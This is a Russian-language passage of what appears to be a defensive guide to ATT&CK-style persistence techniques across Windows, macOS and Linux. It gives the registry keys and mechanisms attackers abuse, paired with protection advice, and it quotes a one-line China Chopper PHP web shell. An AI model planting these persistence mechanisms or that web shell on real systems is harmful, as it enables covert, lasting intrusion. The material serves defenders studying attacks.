Права: Администратор, System
Описание: Имя доступ в систему, злоумышленники могут создавать новые службы и настраивать их автоматический запуск. Имя службы может быть замаскировано с использованием имён, характерных для операционной системы. Службы могут быть созданы с привилегиями администратора, но запускаться от имени System. Сервисы могут создаваться из командной строки, с помощью средств удаленного доступа с функциями взаимодействия с Windows API или с помощью стандартных средств управления Windows и PowerShell.

Рекомендации по защите: Ограничьте права пользователей на создание новых служб, чтобы только уполномоченные администраторы могли это делать. Применяйте AppLocker и Software Restriction Policy.

Автозапуск в офисных приложениях (Office Application Startup)

Система: Windows

Права: Пользователь, администратор
Описание: Некоторые механизмы работы MS Office могут использоваться для выполнения кода при запуске офисных приложений и, как следствие, для обеспечения атакующим своего постоянства в системе:
• Встраивание вредоносных VBA-макросов в базовые шаблоны Office. Word использует шаблон Normal.dotm:
C:\Users\[Username]\AppData\Roaming\Microsoft\Templates\Normal.dotm.
В Excel нет шаблона по умолчанию, однако его можно добавить вручную, и он будет автоматически загружаться:
C:\Users\[Username]\AppData\Roaming\Microsoft\Excel\XLSTART\Personal.xls.
Реализация атаки возможна только при включенном параметре "*Запуск всех макросов*" в Центре управления безопасностью Office:
HKEY_CURRENT_USER\Software\Microsoft\Office\[Версия]
[Приложение]\Security\VBAWarnings: 1;
• Размещение ссылки на DLL в разделе Office test в реестре Windows приводит к выполнению указанной DLL при каждом запуске приложения Office:
HKEY_CURRENT_USER\Software\Microsoft\Office Test\Special\Perf\[Default]:[Указываем путь к DLL];
• Добавление в приложение Office надстройки с вредоносным кодом, который будет выполнятся при запуске атакуемого приложения.

Рекомендации по защите: Следуйте *рекомендациям Microsoft при настройке параметров безопасности макросов*. Для предотвращения эксплуатации механизма Office Test создайте указанный раздел в реестре и установите на него разрешения «Только чтение», чтобы предотвратить к нему доступ без прав администратора. По возможности отключите надстройки Office, если они нужны, то следуйте *рекомендациям Microsoft* при организации их работы.

Перехват пути (Path Interception)

Система: Windows
Права: Пользователь, администратор, system
Описание: Техника перехвата пути заключается в помещении исполняемого файла в директорию, из которой приложение запустит его вместо целевого файла. Атакующий может использовать следующие методы:

- Несуществующие пути. Пути к исполняемым файлам служб хранятся в ключах реестра и могут иметь один или несколько пробелов, например, *C:\Program Files\service.exe*, если атакующий создаст в системе файл *C:\Program.exe*, то Windows при обработке пути запустит его вместо целевого файла службы.
- Неправильная конфигурация переменных окружения. Если в переменной PATH путь *C:\example* предшествует *c:\Windows\System32* и существует файл *C:\example\net.exe*, то при вызове команды net, будет выполнен *C:\example\net.exe*, а не *c:\Windows\System32\net.exe*.

- Перехват порядка поиска (Search order hijacking). Когда не задан полный путь к исполняемому файлу, Windows, как правило, ищет файл с указанным именем в текущем каталоге, затем осуществляет поиск в системных каталогах. Например, файл «example.exe» при выполнении запускает cmd.exe с аргументами для выполнения команды net use. Атакующий может поместить в каталог расположения example.exe файл net.exe и он будет запущен вместо утилиты *c:\Windows\System32\net.exe*. Кроме того, если атакующий поместит файл net.com в каталог с файлом net.exe, то Windows выполнит net.com в соответствии с порядком исполнения, определенном в системной переменной PATHEXT.

Перехват порядка поиска файлов также применяется для выполнения DLL с помощью техники DLL Search Hijacking.

Рекомендации по защите: Выделите кавычками пути, указанные в файлах конфигураций, сценариях, переменной PATH, настройках служб и ярлыках. Помните о порядке поиска исполняемых файлов и используйте только полные пути. Выполните очистку старых ключей реестра, оставшихся от удаленного ПО, чтобы в реестре не осталось ключей, указывающих на несуществующие файлы. Установите запрет на запись пользователями системы в корневой каталог C:\ и системные каталоги Windows, ограничивайте права на запись в каталоги с исполняемыми файлами.

Модификация файлов Plist (Plist Modification)

Система: macOS
Права: Пользователь, Администратор
Описание: Злоумышленники могут модифицировать plist-файлы, указывая в них собственный код для его исполнения в контексте другого пользователя. Файлы свойств plist, расположенные в */Library/Preferences* выполняются с повышенными привилегиями, а plist из *~/Library/Preferences* выполняются с привилегиями пользователя.

Рекомендации по защите: Предотвратите изменение файлов plist, сделав их доступными только на чтение.

Port Knocking

Система: Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут применять методы Port Knocking для скрытия открытых портов, которые они используют для соединения с системой.

Рекомендации по защите: Применение stateful-брандмауэров может предотвратить реализацию некоторых вариантов Port Knocking.

Модификация Port Monitors в Диспетчере печати (Port Monitors)

Система: Windows
Права: Администратор, System
Описание: Атакующий может организовать выполнение произвольной DLL от имени System

при каждой загрузке Windows с помощью злоупотребления настройками Диспетчера печати (Spoolsv.exe). Для взаимодействия с устройствами печати Spoolsv.exe использует так называемые мониторы порта (port monitor) — это DLL-библиотеки, с помощью которых посредством LAN, USB, LPT или COM-интерфейса на устройства печати передаются низкоуровневые команды. Вышеописанные DLL хранятся в *C:\windows\system32* и регистрируются в реестре:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors.
Port Monitor можно установить с помощью API функции AddMonitor или напрямую через редактирование вышеуказанного раздела реестра.

Рекомендации по защите: Организуйте блокирование потенциально-опасного ПО и применяйте инструменты контроля запуска приложений.

Rc.common

Система: macOS
Права: root
Описание: Атакующий может добавить в файл */etc/rc.common* код, который будет выполнятся при каждой загрузке системы с правами root. Rc.common — это сценарий, который выполняется во время загрузки ОС, является предшественником Launch Agents и Launh Deamons. Это устаревшая технология автозапуска программ, но она до сих пор поддерживается в macOS и OS X.

Рекомендации по защите: Ограничение привилегий пользователей на редактирование файла rc.common.

Повторный запуск приложений (Re-opened Applications)

Система: macOS
Права: Пользователь
Описание: В системах, начиная с *OS X 10.7 (Lion)*, атакующий может организовать выполнение вредоносного файла при каждой перезагрузке ОС. Техника основывается на злоупотреблении функцией повторного запуска приложений после перезагрузки системы. Пользователь с помощью инструментов, встроенных в GUI, может указывать системе какие приложения необходимо повторно запустить в случае перезагрузки ОС. Эти настройки хранятся в plist-файлах:

- *~/Library/Preferences/com.apple.loginwindow.plist;*
- *~/Library/Preferences/ByHost/com.apple.loginwindows.*.plist.*

Злоумышленник может модифицировать вышеуказанные файлы для выполнения вредоносного кода при каждой перезагрузке системы.

Рекомендации по защите: Функцию перезапуска приложений можно отключить с помощью консольной команды: *defaults write -g ApplePersistence -bool no*.
Кроме того, удерживание клавиши shift во время загрузки предотвращает автоматический запуск приложений.

Резервный доступ (Redundant Access)

Система: Windows, Linux, macOS
Права: Пользователь, администратор, System
Описание: Злоумышленники могут одновременно использовать несколько средств удаленного доступа с различными протоколами управления с целью диверсификации рисков обнаружения. Так, если один из инструментов удаленного доступа обнаружен и заблокирован, но защищающая сторона не выявила всех инструментов злоумышленника, то удаленный доступ в атакуемую сеть будет по-прежнему сохранен. Атакующие так же могут пытаться получить доступ к валидным учетным записям удаленных корпоративных сервисов, типа VPN, для получения альтернативного доступа в систему в случае блокировки основных инструментов удаленного доступа. Использование web-shell так же является одним из способов удаленного доступа в сеть через web-сервер.

Рекомендации по защите: Осуществляйте мониторинг наличия и блокирование запуска в вашей сети известных средств удаленного доступа (AmmyAdmin, Radmin, RemotePC, VNC и т.п.), применяйте инструменты контроля запуска приложений и блокирования потенциально-опасного ПО. Внедрение IDS и IPS систем, которые с помощью сигнатур выявляют конкретные вредоносные программы, снизит вероятность успешной атаки, однако со временем злоумышленники будут модифицировать свои инструменты для изменения сигнатуры и, как следствия, обхода IDS и IPS систем.

Автозапуск с помощью ключа Run Keys и папки «Автозагрузка» (Registry Run Keys / Start Folder)

Система: Windows
Права: Пользователь, администратор
Описание: Атакующий может добавить в реестре Windows «ключ запуска (run keys)» или ссылку в папку «Автозагрузка» для запуска вредоносного файла при входе пользователя в систему. Программа будет выполняться с правами текущего пользователя. Злоумышленники могут замаскировать ключи запуска в реестре, чтобы они выглядели как часть законных программ.
Ключи запуска (run keys) хранятся в следующих разделах реестра:

- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run;*
- *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce;*
- *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run;*
- *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce.*

Рекомендации по защите: Идентификация и блокирование потенциально-опасного ПО, мониторинг изменений папки «Автозагрузка» и вышеперечисленных веток реестра.

Захват SIP и Trust Provider (SIP and Trust Provider Hijacking), Subverting Trust in Windows

Система: Windows
Права: Администратор, System
Описание: Злоумышленники могут модифицировать компоненты архитектуры подписания и проверки цифровой подписи кода Windows, чтобы обойти средства контроля запуска программ, которые разрешают запускать только подписанный код. Для создания, подписания и проверки подписи файлов различных форматов в Windows используются так называемые

Subject Interface Package (SIP) — уникальные для каждого типа файла программные спецификации, с помощью которых обеспечивается взаимодействие между API-функциями, которые инициируют создание, вычисление и проверку подписей и непосредственно файлами. Валидность же подписи подтверждается с помощью так называемых *Trust Provider* — это программные компоненты ОС, осуществляющие различные процедуры, связанные с вычислением и проверкой цифровых подписей.
Популярные методы совершения атаки:

- Модификация ключей *DLL* и *FuncName* в разделе *CryptSIPDllGetSignedDataMsg*: *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\[SIP_GUID]*.
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию *CryptSIPDllGetSignedDataMSG*, которая возвращает закодированный цифровой сертификат из подписанного файла. Подложная функция может всегда возвращать заранее известное валидное значение сигнатуры (например, подпись Microsoft для исполняемых системных файлов) при использовании модифицированного SIP. Атакующий может пытаться применять одну валидную сигнатуру для всех файлов, однако, вероятнее всего, это приведёт к недействительности сигнатуры, так как хэш, возвращаемый функцией, не будет совпадать с хэшем, вычисленным из файла.
- Модификация ключей *DLL* и *FuncName* в разделе: *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID]*.
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию *CryptSIPDllVerifyIndirectData*, которая выполняет сверку хэша, вычисленного из файла, с хэшем, указанным в цифровой подписи, и возвращает результат сверки (True/False). Таким образом, атакующий может обеспечить успешную проверку любого файла с использованием модифицированного SIP. Вышеуказанные значения ключей могут перенаправлять на подходящую функцию из уже существующей библиотеки, таким образом исключая необходимость создания на диске нового DLL-файла.
- Модификация ключей *DLL* и *FuncName* в разделе: *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID]*.
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию FinalPolicy для определенного Trust Provider, которая декодирует, анализирует подпись и принимает решение о доверии. По аналогии с CryptSIPDllVerifyIndirectData, значение вышеуказанных ключей может перенаправлять на уже существующую DLL-библиотеку.

Важно отметить, что описанную атаку на механизм доверия Windows можно осуществить с помощью техники перехвата поиска DLL (DLL Search Order Hijacking).

Рекомендации по защите: Убедитесь, что пользователи защищаемой системы не могут изменять ключи реестра, относящиеся к компонентам SIP и Trust Provider. Рассмотрите возможность удаления ненужных и устаревших SIP. Используйте всевозможные средства блокирования загрузки вредоносных DLL, например, встроенные в Windows AppLocker и DeviceGuard.

Планирование задач (Scheduled Task)

Система: Windows
Права: Пользователь, администратор, система

Описание: Такие утилиты как at, schtasks и Планировщик задач Windows могут использоваться для планирования запуска программ и сценариев, которые будут выполнятся в определенную дату и время. Задачу можно запланировать в удаленной системе, при условии, что для проверки подлинности используется RPC, и включен общий доступ к принтерам и файлам. Планирование задач в удаленной системе требует прав администратора. Злоумышленник может использовать удаленное выполнение кода для получения прав System или для запуска процесса под определенной учетной записью.

Рекомендации по защите: Ограничение привилегий пользователей. Применение инструментов, таких как модуль PowerUP в PowerSploit, которые могут использоваться для поиска слабых мест в разрешениях запланированных задач. Отключение возможности запуска задач от имени System, отключение в политике безопасности параметра "*Разрешить операторам сервера планировать задачи*" и включение параметра "*Назначение прав пользователя: Увеличить приоритет планирования*".

Экранная заставка (Screensaver)

Система: Windows
Права: Пользователь
Описание: Злоумышленники могут использовать настройки экранной заставки для запуска вредоносного ПО после определенного периода бездействия пользователя. Приложение Windows Screensaver (scrnsave.exe) располагается в *C:\Windows\System32*, вместе с другими заставками, включенными в базовую сборку ОС. Атакующий может манипулировать параметрами заставки в разделе реестра *HKEY_CURRENT_USER\Control Panel\Desktop*:

- SCRNSAVE.EXE — указать путь к вредоносному исполняемому файлу;
- ScreenSaveActivr — установить значение «1», чтобы активировать заставку;
- ScreenSaverISSecure — установить значение «0», чтобы система не требовала пароль для разблокировки рабочего стола Windows после отключения заставки;
- ScreenSaverTimeout — установить период бездействия перед запуском заставки.

Рекомендации по защите: Блокируйте возможность запуска файлов *.scr из нестандартных мест. Управляйте параметрами заставки с помощью групповой политики, запрещающей локальное изменение параметров заставки.

Security Support Provider (SPP)

Система: Windows
Права: Администратор
Описание: Злоумышленники могут настроить выполнение вредоносного кода при каждой загрузке системы или вызове API-функции AddSecurityPackage с помощью добавления в конфигурацию Local Security Authority (LSA) фиктивного провайдера поддержки безопасности — Security Support Provider (SSP). SSP — программные модули (DLL), содержащие одну или несколько схем аутентификации и криптографии, которые загружаются в процесс LSASS при запуске системы. DLL-библиотеки SPP имеют доступ к зашифрованным и открытым текстовым паролям, которые хранятся в Windows. Конфигурация SPP хранится в двух ключах реестра:

- *HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages*;

- *HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages*.

Рекомендации по защите: В Windows 8.1, Windows Server R2 и более поздних версиях ОС необходимо активировать защищенный режим работы LSA (Process Protect Light — PPL), в котором все DLL-файлы SPP должны быть подписаны цифровой подписью Microsoft: *HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=dword:00000001*

Слабости разрешений параметров служб в реестре (Service Registry Permissions Weakness)

Система: Windows
Права: Администратор, System
Описание: Если разрешения пользователей и групп позволяют изменять в реестре Windows значения ключей, в которых хранятся параметры служб, то злоумышленники могут напрямую модифицировать ключи, в которых хранятся пути к исполняемым файлам запуска служб или использовать различные инструменты управления службами — sc.exe, PowerShell или Reg. Атакующие так же могут менять параметры, связанные с отказом служб, например, FailureCommand, указывающие команду, которая будет выполнятся в случае отказа или преднамеренного повреждения службы. Параметры служб хранятся в *HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services*.

Рекомендации по защите: Убедитесь, что пользователи защищаемой системы не могут изменять в реестре ключи, хранящие параметры системных компонентов. Используйте всевозможные средства блокирования потенциально-опасного ПО, например, Windows AppLocker.

Модификация ярлыков (Shortcut Modification)

Система: Windows
Права: Пользователь, Администратор
Описание: Злоумышленники могут создавать новые ярлыки и символические ссылки, замаскированные под законные программы или модифицировать пути в существующих ярлыках, чтобы их инструменты были запущены вместо исходного приложения.

Рекомендации по защите: Ограничьте права пользователей и групп, таких как Администраторы, на создание символических ссылок с помощью GPO:
Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links.
Применяйте средства блокирования потенциально-опасного ПО и политики ограничения ПО (Software Restriction Policy).

Элементы автозапуска (Startup Items)

Система: macOS
Права: Администратор
Описание: Атакующий может использовать устаревший, но до сих пор работающий в macOS Sierra, механизм автозапуска приложений с помощью StartupItems для настройки запуска

своего кода с правами root во время загрузки ОС. StartupItems — это каталог в */Library/Startupitems*, командный сценарий и файл свойств StartupParameters.plist. Сценарий и файл свойств должны находится на верхнем уровне иерархии: */Library/Startupitems/[MyStartupItem]*.

Рекомендации по защите: Поскольку механизм StartupItems является устаревшим, то запрет записи в каталоге */Library/Startupitems/* позволит избежать создания элементов автозагрузки.

Системная прошивка (System Firmware)

Система: Windows
Права: Администратор, System
Описание: Особо изощрённые злоумышленники могут модифицировать или перепрошить Bios, UIFI или UFI, для того что бы обеспечить возможность установки вредоносных обновлений прошивки и закрепления в системе.

Рекомендации по защите: Направьте вектор защиты на предотвращение доступа атакующего к привилегированным учетным записям, которые необходимы для реализации описываемой техники. Рассмотрите необходимость и возможность применения в защищаемой системе *Trusted Platform Module (TPM)*. Рассмотрите необходимость применения внешних инструментов контроля и анализа защищенности системной прошивки, например, *CHIPSEC Framework*.

Провайдеры времени (Time Providers)

Система: Windows
Права: Администратор, System
Описание: Атакующие могут регистрировать в качестве поставщика времени (Time Provider) вредоносную DLL, которая будет выполнятся при запуске системы или изменении конфигурации Windows Time Server (W32Time). Параметры поставщиков времени хранятся в реестре:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\W32Time\TimeProviders.
Для регистрации поставщика времени потребуются права администратора, но его выполнение будет происходит в контексте учетной записи локальной службы.

Рекомендации по защите: Рассмотрите возможность использования GPO для настройки блокирования изменений параметров W32Time. Используйте всевозможные средства блокирования загрузки вредоносных DLL, например, встроенные в Windows AppLocker и DeviceGuard.

Команда Trap

Система: Linux, macOS
Права: Пользователь, администратор
Описание: Команда trap служит для защиты скрипта от прерываний (*ctrl+c, ctrl+d, ctrl+z* и т.п.). Если скрипт получает сигнал о прерывании, указанном в аргументах команды trap, то он обрабатывает сигнал прерывания самостоятельно, при этом командная оболочка такой сигнал обрабатывать не будет. Злоумышленники могут использовать trap для регистрации

кода, который будет выполняться при получении командной оболочкой определенных сигналов прерываний.

Рекомендации по защите: Использование этой техники трудно предотвратить, потому что злоумышленник использует штатные механизмы работы ОС. Вектор защиты следует направить на предотвращение вредоносных действий на более ранних этапах атаки, например, на стадии доставки или создания вредоносного файла в системе.

Действующие учетные записи (Valid Accounts)

Описание: Злоумышленники могут украсть учетные данные определенного пользователя или учетную запись службы с помощью техник доступа к учетным данным, захватить учетные данные в процессе разведки с помощью социальной инженерии. Скомпрометированные учетные данные могут использоваться для обхода систем управления доступом и получения доступа к удаленным системам и внешним службам, таким как VPN, OWA, удаленный рабочий стол или получения повышенных привилегий в определенных системах и областях сети. В случае успешной реализации сценария злоумышленники могут отказаться от вредоносных программ, чтобы затруднить своё обнаружение. Так же злоумышленники могут создавать учетные записи используя заранее определенные имена и пароли для сохранения резервного доступа в случае неудачных попыток использования других средств.

Рекомендации по защите: Применение парольной политики, следование рекомендациям по проектированию и администрированию корпоративной сети для ограничения использования привилегированных учетных записей на всех административных уровнях. Регулярные проверки доменных, локальных учетных записей и их прав с целью выявления тех, которые могут позволить злоумышленнику получить широкий доступ. Мониторинг активности учетных записей с помощью SIEM-систем.

Web Shell

Система: Windows, Linux, macOS
Описание: Web Shell может использоваться злоумышленником в качестве шлюза доступа в вашу сеть или избыточного доступа в атакуемую систему, как резервного механизма закрепления в случае обнаружения и блокирования основных каналов доступа в атакуемую среду.

Рекомендации по защите: Убедитесь, что ваши внешние веб-серверы регулярно обновляются и не имеют известных уязвимостей, которые позволяют злоумышленникам загрузить на сервер файл или сценарий с последующим исполнением. Проверьте, что разрешения учетных записей и групп с правами управления серверами не совпадают с учетными записями внутренней сети, которые могут быть использованы для входа на веб-сервер, запуска Web shell или закрепления на Web-сервере. Web Shell трудно обнаружить, т.к. они не инициируют подключения и их серверная часть может быть маленькой и безобидной, например, PHP-версия оболочки China Chopper Web выглядит как строчка:
[?php eval($_POST ['password']);]

Windows Management Instrumentation Event Subscription

Система: Windows

Права: Администратор, System
Описание: WMI Event Subscription — это функциональность, которая позволяет администратору настроить получение извещений о событиях (Event), в том числе произошедших в удаленных системах, с последующим автоматическим выполнением каких-либо действий (запуск скрипта, приложения и т.п.). Злоумышленники, в целях закрепления в системе, могут злоупотреблять вышеописанной функциональностью, настраивая подписку на такие события, как время системных часов или время работы компьютера, с последующим выполнением кода при возникновения этого события.

Рекомендации по защите: Убедитесь, что только у учетных записей администраторов есть права на удаленное подключение к WMI, и что в защищаемой системе нет совпадения учетных записей системных администраторов с другими привилегированными аккаунтами. Отключение WMI может вызвать нестабильность системы, поэтому требует предварительной оценки возможных негативных последствий.

Winlogon Helper DLL

Система: Windows
Права: Администратор, System
Описание: Модифицируя в реестре параметры вспомогательных DLL, используемых Winlogon.exe, атакующий может обеспечить многократное выполнение вредоносных DLL для закрепления в системе. Параметры Winlogon хранятся в разделах:

- • *HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon*
- • *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon*

Известно, несколько уязвимых подразделов:

- *Winlogon\Notify* — указывает DLL, обрабатывающие события Windows
- *Winlogon\Userinit* — указывает на файл userinit.exe, программу инициализации пользователя, выполняемую при входе пользователя в систему;
- *Winlogon\Shell* — указывает на файл explorer.exe, системную оболочку, выполняемую при входе пользователя в систему.

Рекомендации по защите: Убедитесь, что параметры Winlogon могут менять только уполномоченные администраторы. Применяйте всевозможные средства блокирования загрузки вредоносных DLL и потенциально-опасных программ, например, встроенные в Windows AppLocker и DeviceGuard.